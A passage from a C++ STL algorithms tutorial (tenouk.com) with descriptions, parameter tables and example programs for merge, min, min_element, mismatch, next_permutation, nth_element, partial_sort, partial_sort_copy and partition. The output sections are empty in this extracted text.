sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"vector vec2a data with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"vector vec2b data with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vector vec3 with ranges sorted by mod_lesser


vector <int> vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector <int>::iterator Iter3a, Iter3b, Iter3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"vector vec3a data with range sorted by the\n"

www.tenouk.com Page 16 of 40
<<"binary predicate mod_lesser is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"vector vec3b data with range sorted by the\n"


<<"binary predicate mod_lesser is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To merge in ascending order with default binary


//predicate less <int>()
cout<<"\nOperation:
merge(vec1a.begin(),vec1a.end(),\nvec1b.begin(),vec1b.end(),vec1.begin()).\n";
merge(vec1a.begin(), vec1a.end(), vec1b.begin(), vec1b.end(), vec1.begin());
cout<<"vector vec1merg data, merged with default order:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To merge in descending order, specify binary


//predicate greater<int>()
cout<<"\nOperation:
merge(vec2a.begin(),vec2a.end(),\nvec2b.begin(),vec2b.end(),vec2.begin(),greater<i
nt>()).\n";
merge(vec2a.begin(), vec2a.end(), vec2b.begin(), vec2b.end(), vec2.begin(),
greater<int>());
cout<<"vector vec2merg data, merged with binary predicate\ngreater is: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Applying a user-defined binary predicate mod_lesser


cout<<"\nOperation:
merge(vec3a.begin(),vec3a.end(),\nvec3b.begin(),vec3b.end(),vec3.begin(),mod_lesse
r).\n";
merge(vec3a.begin(), vec3a.end(), vec3b.begin(), vec3b.end(), vec3.begin(),
mod_lesser);
cout<<"vector vec3merg data, merged with binary predicate\nmod_lesser is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
return 0;
}

Output

www.tenouk.com Page 17 of 40
min()

- Compares two objects and returns the lesser of the two, where the ordering criterion may be specified
by a binary predicate.

template<class Type>
const Type& min(
const Type& _Left,
const Type& _Right
);
template<class Type, class Pr>
const Type& min(
const Type& _Left,
const Type& _Right,
BinaryPredicate _Comp
);

Parameters

Parameter Description
_Left The first of the two objects being compared.
_Right The second of the two objects being compared.
_Comp A binary predicate used to compare the two objects.

Table 35.9

- The return value is the lesser of the two objects unless neither is lesser, in which case it returns the first
of the two objects.
- The min() algorithm is unusual in having objects passed as parameters. Most STL algorithms operate
on a range of elements whose position is specified by iterators passed as parameters.

//algorithm, min()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{
m_nVal = rhs.m_nVal;
return *this;
}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);

www.tenouk.com Page 18 of 40
};

int main()
{
//Comparing integers directly using the min algorithm with
//binary predicate mod_lesser & with default less than
int a = 9, b = -12, c = 12;
const int& result1 = min(a, b, mod_lesser);
const int& result2 = min(b, c);

cout<<"The mod_lesser of the integers 9 and -12 is: "<<result1<<endl;


cout<<"The lesser of the integers -12 and 12 is: "<<result2<<endl;
cout<<endl;

//Comparing set containers with elements of type CInt


//using the min algorithm
CInt ci1 = 2, ci2 = 3, ci3 = 4;
set<CInt> st1, st2, st3;
set<CInt>::iterator st1Iter, st2Iter, st3Iter;

st1.insert(ci1);
st1.insert(ci2);
st2.insert(ci2);
st2.insert(ci3);

cout<<"st1 data: (";


for(st1Iter = st1.begin(); st1Iter != --st1.end(); st1Iter++)
cout<<*st1Iter<<",";
st1Iter = --st1.end();
cout<<*st1Iter<<")"<<endl;

cout<<"st2 data: (";


for(st2Iter = st2.begin(); st2Iter != --st2.end(); st2Iter++)
cout<<*st2Iter<<",";
st2Iter = --st2.end();
cout<<*st2Iter<<")"<<endl;

st3 = min(st1, st2);


cout<<"st3 = min(st1, st2) data: (";
for(st3Iter = st3.begin(); st3Iter != --st3.end(); st3Iter++)
cout<<*st3Iter<<",";
st3Iter = --st3.end();
cout<<*st3Iter<<")"<<endl;

//Comparing vectors with integer elements using min algorithm


vector <int> vec1, vec2, vec3, vec4, vec5;
vector <int>::iterator Iter1, Iter2, Iter3, Iter4, Iter5;

int i;
for(i = 1; i <= 4; i++)
vec1.push_back(i);

int j;
for(j = 1; j <= 3; j++)
vec2.push_back(j);

int k;
for(k = 1; k <= 3; k++)
vec3.push_back(2*k);

cout<<"\nVector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

cout<<"Vector vec3 data: ";


for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

cout<<"\nOperation: vec4 = min(vec1, vec2).\n";


vec4 = min(vec1, vec2);
cout<<"Vector vec4 = min(vec1,vec2) data: ";
for(Iter4 = vec4.begin(); Iter4 != vec4.end(); Iter4++)
cout<<*Iter4<<" ";

www.tenouk.com Page 19 of 40
cout<<endl;

cout<<"\nOperation: vec5 = min(vec1, vec3).\n";


vec5 = min(vec1, vec3);
cout<<"Vector vec5 = min(vec1,vec3) data: ";
for(Iter5 = vec5.begin(); Iter5 != vec5.end(); Iter5++)
cout<<*Iter5<<" ";
cout<<endl;
return 0;
}

Output:

min_element()

- Finds the first occurrence of smallest element in a specified range where the ordering criterion may be
specified by a binary predicate.

template<class ForwardIterator>
ForwardIterator min_element(
ForwardIterator _First,
ForwardIterator _Last
);
template<class ForwardIterator, class BinaryPredicate>
ForwardIterator min_element(
ForwardIterator _First,
ForwardIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to
_First
be searched for the largest element.
A forward iterator addressing the position one past the final element in the
_Last
range to be searched for the largest element.
User-defined predicate function object that defines the sense in which one
element is greater than another. The binary predicate takes two arguments and
_Comp
should return true when the first element is less than the second element and
false otherwise.

Table 35.10

- The return value is a forward iterator addressing the position of the first occurrence of the smallest
element in the range searched.
- The range referenced must be valid; all pointers must be de-referenceable and within each sequence the
last position is reachable from the first by incrementation.
- The complexity is linear: (_Last – _First)–1 comparison is required for a non-empty range.

www.tenouk.com Page 20 of 40
//algorithm, min_element()
#include <vector>
#include <set>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal( rhs.m_nVal ){}
CInt& operator=(const CInt& rhs)
{
m_nVal = rhs.m_nVal;
return *this;
}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is greater than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
//Searching a set container with elements of type CInt
//for the minimum element
CInt ci1 = 4, ci2 = 12, ci3 = -4;
set<CInt> st1;
set<CInt>::iterator st1Iter, st2Iter, st3Iter;

st1.insert(ci1);
st1.insert(ci2);
st1.insert(ci3);

cout<<"st1 data: ";


for(st1Iter = st1.begin(); st1Iter != --st1.end(); st1Iter++)
cout<<*st1Iter<<",";
st1Iter = --st1.end();
cout<<*st1Iter<<endl;

cout<<"\nOperation: min_element(st1.begin(), st1.end()).\n";


st2Iter = min_element(st1.begin(), st1.end());
cout<<"The smallest element in st1 is: "<<*st2Iter<<endl;

//Searching a vector with elements of type int for the maximum


//element under default less than & mod_lesser binary predicates
vector <int> vec1;
vector <int>::iterator vec1Iter, vec2Iter, vec3Iter;

int i;
for(i = 1; i <= 4; i++)
vec1.push_back(i);

int j;
for(j = 1; j <= 5; j++)
vec1.push_back(-2*j);

cout<<"\nVector vec1 data: ";

www.tenouk.com Page 21 of 40
for(vec1Iter = vec1.begin(); vec1Iter != vec1.end(); vec1Iter++)
cout<<*vec1Iter<<" ";
cout<<endl;

cout<<"\nOperation: min_element(vec1.begin(), vec1.end()).\n";


vec2Iter = min_element(vec1.begin(), vec1.end());
cout<<"The smallest element in vec1 is: "<<*vec2Iter<<endl;

cout<<"\nOperation: min_element(vec1.begin(), vec1.end(), mod_lesser).\n";


vec3Iter = min_element(vec1.begin(), vec1.end(), mod_lesser);
cout<<"The smallest element in vec1 based on the mod_lesser"
<<"\nbinary predicate is: "<<*vec3Iter<<endl;
return 0;
}

Output:

mismatch()

- Compares two ranges element by element either for equality or equivalent in a sense specified by a
binary predicate and locates the first position where a difference occurs.

template<class InputIterator1, class InputIterator2>


pair<InputIterator1, InputIterator2> mismatch(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2
);
template<class InputIterator1, class InputIterator2, class BinaryPredicate>
pair<InputIterator1, InputIterator2> mismatch(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first range to be
_First1
tested.
An input iterator addressing the position one past the final element in the first
_Last1
range to be tested.
An input iterator addressing the position of the first element in the second range to
_First2
be tested.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two arguments
and returns true when satisfied and false when not satisfied.

Table 35.11

www.tenouk.com Page 22 of 40
- The return value is a pair of iterators addressing the positions of the mismatch in the two ranges, the
first component iterator to the position in the first range and the second component iterator to the
position in the second range.
- If there is no difference between the elements in the ranges compared or if the binary predicate in the
second version is satisfied by all element pairs from the two ranges, then the first component iterator
points to the position one past the final element in the first range and the second component iterator to
position one past the final element tested in the second range.
- The range to be searched must be valid; all pointers must be de-referenceable and the last position is
reachable from the first by incrementation.
- The time complexity of the algorithm is linear in the number of elements contained in the range.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.

//algorithm, mismatch()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{ return (elem1 * 2 == elem2);}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

int j;
for(j = 0; j <= 7; j++)
lst.push_back(5*j);

int k;
for(k = 0; k <= 5; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Testing vec1 and lst for mismatch under identity


pair<vector <int>::iterator, list <int>::iterator> result1;
result1 = mismatch(vec1.begin(), vec1.end(), lst.begin());

cout<<"\nOperation: mismatch(vec1.begin(), vec1.end(), lst.begin()).\n";


if(result1.first == vec1.end())
cout<<"The two ranges do not differ."<<endl;
else
cout<<"The fist mismatch is between "<<*result1.first<<" and
"<<*result1.second<<endl;

//Modifying the lst


cout<<"\nDo some operation on the lst...\n";
lst_inIter = lst.begin();
lst_inIter++;
lst_inIter++;
lst.insert(lst_inIter, 70);
cout<<"The modified lst data: ";

www.tenouk.com Page 23 of 40
for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

//Testing vec1 with modified lst for mismatch under identity


cout<<"\nOperationa: mismatch(vec1.begin(), vec1.end(), lst.begin())\n";
result1 = mismatch(vec1.begin(), vec1.end(), lst.begin());
if(result1.first == vec1.end())
cout<<"The two ranges do not differ."<<endl;
else
cout<<"The first mismatch is between "<<*result1.first<<" and "<<*result1.second<<
endl;

//Test vec1 and vec2 for mismatch under the binary predicate twice
pair<vector <int>::iterator, vector <int>::iterator> result2;
cout<<"\nOperation: mismatch(vec1.begin(), vec1.end(), vec2.begin(), twice).\n";
result2 = mismatch(vec1.begin(), vec1.end(), vec2.begin(), twice);
if(result2.first == vec1.end())
cout<<"The two ranges do not differ based on the\nbinary predicate twice."<<endl;
else
cout<<"The first mismatch is between "<<*result2.first<<" and
"<<*result2.second<<endl;
return 0;
}

Output

next_permutation()

- Reorders the elements in a range so that the original ordering is replaced by the lexicographically next
greater permutation if it exists, where the sense of next may be specified with a binary predicate.

template<class BidirectionalIterator>
bool next_permutation(
BidirectionalIterator _First,
BidirectionalIterator _Last
);
template<class BidirectionalIterator, class BinaryPredicate>
bool next_permutation(
BidirectionalIterator _First,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A bidirectional iterator pointing to the position of the first element in the range to be
_First
permuted.
A bidirectional iterator pointing to the position one past the final element in the range to
_Last
be permuted.
User-defined predicate function object that defines the comparison criterion to be
_Comp
satisfied by successive elements in the ordering. A binary predicate takes two

www.tenouk.com Page 24 of 40
arguments and returns true when satisfied and false when not satisfied.

Table 35.12

- The return value is true if the lexicographically next permutation exists and has replaced the original
ordering of the range; otherwise false, in which case the ordering is transformed into the
lexicographically smallest permutation.
- The range referenced must be valid; all pointers must be dereferenceable and within the sequence the
last position is reachable from the first by incrementation.
- The default binary predicate is less than and the elements in the range must be less than comparable to
insure that the next permutation is well defined.
- The complexity is linear with at most (_Last–_First)/2 swaps.

//algorithm, next_permutation()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);

class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);

private:
int m_nVal;
};

inline ostream& operator<<(ostream& osIn, const CInt& rhs)


{
osIn<<"CInt("<<rhs.m_nVal<<")";
return osIn;
}

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
};

int main()
{
//Reordering the elements of type CInt in a deque
//using the prev_permutation algorithm
CInt ci1 = 7, ci2 = 5, ci3 = 17;
bool deq1Result;
deque<CInt> deq1, deq2, deq3;
deque<CInt>::iterator deq1Iter;

deq1.push_back(ci1);
deq1.push_back(ci2);
deq1.push_back(ci3);

cout<<"deque deq1 of CInts data is: ";


for(deq1Iter = deq1.begin(); deq1Iter != --deq1.end(); deq1Iter++)
cout<<" "<<*deq1Iter<<",";
deq1Iter = --deq1.end();
cout<<" "<<*deq1Iter<<endl;

cout<<"\nOperation: next_permutation(deq1.begin(), deq1.end()).\n";


deq1Result = next_permutation(deq1.begin(), deq1.end());
if(deq1Result)

www.tenouk.com Page 25 of 40
cout<<"The lexicographically next permutation "
<<"exists and has\nreplaced the original "
<<"ordering of the sequence in deq1."<<endl;
else
cout<<"The lexicographically next permutation doesn't "
<<"exist\n and the lexicographically "
<<"smallest permutation\n has replaced the "
<<"ordering of the sequence in deq1."<<endl;

cout<<"\nAfter the next_permutation,\ndeq1 data: ";


for(deq1Iter = deq1.begin(); deq1Iter != --deq1.end(); deq1Iter++)
cout<<" "<<*deq1Iter<<",";
deq1Iter = --deq1.end();
cout<<" "<<*deq1Iter<<endl;

//Permuting vector elements with binary function mod_lesser


vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = -3; i <= 4; i++)
vec1.push_back(i);

cout<<"\nVector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

next_permutation(vec1.begin(), vec1.end(), mod_lesser);


cout<<"After the first next_permutation(), vector vec1 is:\nvec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

int k = 1;
while (k <= 5)
{
next_permutation(vec1.begin(), vec1.end(), mod_lesser);
cout<<"After another next_permutation() of vector vec1,\nvec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1 ++)
cout<<*Iter1<<" ";
cout<<endl;
k++;
}
return 0;
}

Output:

nth_element()

www.tenouk.com Page 26 of 40
- Partitions a range of elements, correctly locating the nth element of the sequence in the range so that all
the elements in front of it are less than or equal to it and all the elements that follow it in the sequence
are greater than or equal to it.

template<class RandomAccessIterator>
void nth_element(
RandomAccessIterator _First,
RandomAccessIterator _Nth,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void nth_element(
RandomAccessIterator _First,
RandomAccessIterator _Nth,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A random-access iterator addressing the position of the first element in the range to be
_First
partitioned.
A random-access iterator addressing the position of element to be correctly ordered on
_Nth
the boundary of the partition.
A random-access iterator addressing the position one past the final element in the range
_Last
to be partitioned.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.

Table 35.13

- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The nth_element() algorithm does not guarantee that elements in the sub-ranges either side of the
nth element are sorted. It thus makes fewer guarantees than partial_sort(), which orders the
elements in the range below some chosen element, and may be used as a faster alternative to
partial_sort() when the ordering of the lower range is not required.
- Elements are equivalent, but not necessarily equal, if neither is less than the other.
- The average of a sort complexity is linear with respect to _Last – _First.

//algorithm, nth_element()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//user defined function, return whether


//first element is greater than the second
bool great(int elem1, int elem2)
{return (elem1 > elem2);}

int main()
{
vector <int> vec;
vector <int>::iterator Iter1;

int i;
for(i = 0; i <= 5; i++)
vec.push_back(i);

int j;
for(j = 10; j <= 15; j++)
vec.push_back(j);

int k;
for(k = 20; k <= 25; k++)

www.tenouk.com Page 27 of 40
vec.push_back(k);

cout<<"vector vec data:\n";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: nth_element(vec.begin(),\nvec.begin()+3, vec.end()).\n";


nth_element(vec.begin(), vec.begin()+3, vec.end());
cout<<"Position 3 partitioned vector vec data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To sort in descending order, specify binary predicate


cout<<"\nOperation: nth_element(vec.begin(),\nvec.begin()+4,
vec.end(),greater<int>()).\n";
nth_element(vec.begin(), vec.begin()+4, vec.end(), greater<int>());
cout<<"Position 4 partitioned (greater) vector vec data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: random_shuffle(vec.begin(), vec.end()).\n";


random_shuffle(vec.begin(), vec.end());
cout<<"Shuffled vector vec data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate...


cout<<"\nOperation: nth_element(vec.begin(),\nvec.begin() + 5, vec.end(),
great).\n";
nth_element(vec.begin(), vec.begin() + 5, vec.end(), great);
cout<<"Position 5 partitioned (great) vector data:\n";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

Output:

partial_sort()

- Arranges a specified number of the smaller elements in a range into a non-descending order or
according to an ordering criterion specified by a binary predicate.

template<class RandomAccessIterator>
void partial_sort(
RandomAccessIterator _First,

www.tenouk.com Page 28 of 40
RandomAccessIterator _SortEnd,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void partial_sort(
RandomAccessIterator _First,
RandomAccessIterator _SortEnd,
RandomAccessIterator _Last
BinaryPredicate _Comp
);

Parameters

Parameter Description
A random-access iterator addressing the position of the first element in the range
_First
to be sorted.
A random-access iterator addressing the position one past the final element in the
_SortEnd
sub-range to be sorted.
A random-access iterator addressing the position one past the final element in the
_Last
range to be partially sorted.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.

Table 35.14

- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements are equivalent, but not necessarily equal, if neither is less than the other. The sort()
algorithm is not stable and does not guarantee that the relative ordering of equivalent elements will be
preserved. The algorithm stable_sort() does preserve this original ordering.
- The average of a sort complexity is O(N log N), where N = _Last – _First.

//algorithm, partial_sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//user defined, return whether first


//element is greater than the second
bool great(int elem1, int elem2)
{return elem1 > elem2;}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

//fill up the vector with data...


int i;
for(i = 10; i <= 16; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 5; j++)
vec1.push_back(j);

cout<<"vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: partial_sort(vec1.begin(),\nvec1.begin()+ 5, vec1.end()).\n";


partial_sort(vec1.begin(), vec1.begin() + 5, vec1.end());
cout<<"Partially sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To partially sort in descending order, specify binary predicate

www.tenouk.com Page 29 of 40
cout<<"\nOperation: partial_sort(vec1.begin(),\nvec1.begin()+4, vec1.end(),
greater<int>()).\n";
partial_sort(vec1.begin(), vec1.begin()+4, vec1.end(), greater<int>());
cout<<"Partially resorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate can also be used


cout<<"\nOperation: partial_sort(vec1.begin(),\nvec1.begin()+8, vec1.end(),
great).\n";
partial_sort(vec1.begin(), vec1.begin()+8, vec1.end(), great);
cout<<"Partially resorted (great) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

Output:

partial_sort_copy()

- Copies elements from a source range into a destination range where the source elements are ordered by
either less than or another specified binary predicate.

template<class InputIterator, class RandomAccessIterator>


RandomAccessIterator partial_sort_copy(
InputIterator _First1,
InputIterator _Last1,
RandomAccessIterator _First2,
RandomAccessIterator _Last2
);
template<class InputIterator, class RandomAccessIterator, class BinaryPredicate>
RandomAccessIterator partial_sort_copy(
InputIterator _First1,
InputIterator _Last1,
RandomAccessIterator _First2,
RandomAccessIterator _Last2,
BinaryPredicate _Comp
);

Parameters

Parameter Description
_First1 An input iterator addressing the position of the first element in the source range.
An input iterator addressing the position one past the final element in the source
_Last1
range.
A random-access iterator addressing the position of the first element in the sorted
_First2
destination range.
A random-access iterator addressing the position one past the final element in the
_Last2
sorted destination range.

www.tenouk.com Page 30 of 40
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two arguments
and returns true when satisfied and false when not satisfied.

Table 35.15

- The return value is a random-access iterator addressing the element in the destination range one
position beyond the last element inserted from the source range.
- The source and destination ranges must not overlap and must be valid; all pointers must be
dereferenceable and within each sequence the last position must be reachable from the first by
incrementation.
- The binary predicate must provide a strict weak ordering so that elements that are not equivalent are
ordered, but elements that are equivalent are not. Two elements are equivalent under less than, but not
necessarily equal, if neither is less than the other.

//algorithm, partial_sort_copy()
#include <vector>
#include <list>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 7; i++)
vec1.push_back(i);

random_shuffle(vec1.begin(), vec1.end());
lst.push_back(6);
lst.push_back(5);
lst.push_back(2);
lst.push_back(3);
lst.push_back(4);
lst.push_back(1);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nList lst data: ";


for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

//Copying a partially sorted copy of lst into vec1


cout<<"\nOperation:
partial_sort_copy(lst.begin(),\nlst.end(),vec1.begin(),vec1.begin()+3).\n";
vector <int>::iterator result1;
result1 = partial_sort_copy(lst.begin(), lst.end(), vec1.begin(), vec1.begin()+3);
cout<<"vector vec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"The first vec1 element one position beyond"
<<"\nthe last lst element inserted was "<<*result1<<endl;

//Copying a partially sorted copy of lst into vec2


int j;
for(j = 0; j <= 9; j++)
vec2.push_back(j);

cout<<"\nOperation: random_shuffle(vec2.begin(), vec2.end())\n";


random_shuffle(vec2.begin(), vec2.end());

vector <int>::iterator result2;


cout<<"Operation: partial_sort_copy(lst.begin(),\nlst.end(), vec2.begin(),
vec2.begin()+6, greater<int>()).\n";

www.tenouk.com Page 31 of 40
result2 = partial_sort_copy(lst.begin(), lst.end(), vec2.begin(), vec2.begin()+6,
greater<int>());
cout<<"List lst into vector vec2 data: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
cout<<"The first vec2 element one position beyond"
<<"\nthe last lst element inserted was "<<*result2<<endl;
return 0;
}

Output:

partition()

- Classifies elements in a range into two disjoint sets, with those elements satisfying a unary predicate
preceding those that fail to satisfy it.

template<class BidirectionalIterator, class Predicate>


BidirectionalIterator partition(
BidirectionalIterator _First,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A bidirectional iterator addressing the position of the first element in the range to
_First
be partitioned.
A bidirectional iterator addressing the position one past the final element in the
_Last
range to be partitioned.
User-defined predicate function object that defines the condition to be satisfied if
_Comp an element is to be classified. A predicate takes a single argument and returns true
or false.

Table 35.16

- The return value is a bidirectional iterator addressing the position of the first element in the range to not
satisfy the predicate condition.
- The range referenced must be valid; all pointers must be dereferenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements a and b are equivalent, but not necessarily equal, if both Pr (a, b) is false and Pr (b, a) if
false, where Pr is the parameter-specified predicate. The partition() algorithm is not stable and
does not guarantee that the relative ordering of equivalent elements will be preserved. The algorithm
stable_ partition() does preserve this original ordering.
- The complexity is linear: there are (_Last – _First) applications of _Comp and at most
(_Last – _First)/2 swaps.

www.tenouk.com Page 32 of 40
//algorithm, partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

//user defined...
bool great(int value)
{return value >3;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nOperation: random_shuffle(vec1.begin(), vec1.end()).\n";


random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Partition the range with predicate great


cout<<"\nOperation: partition(vec1.begin(), vec1.end(), great).\n";
partition(vec1.begin(), vec1.end(), great);
cout<<"The partitioned set of elements in vec1 is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

Output:

pop_heap()

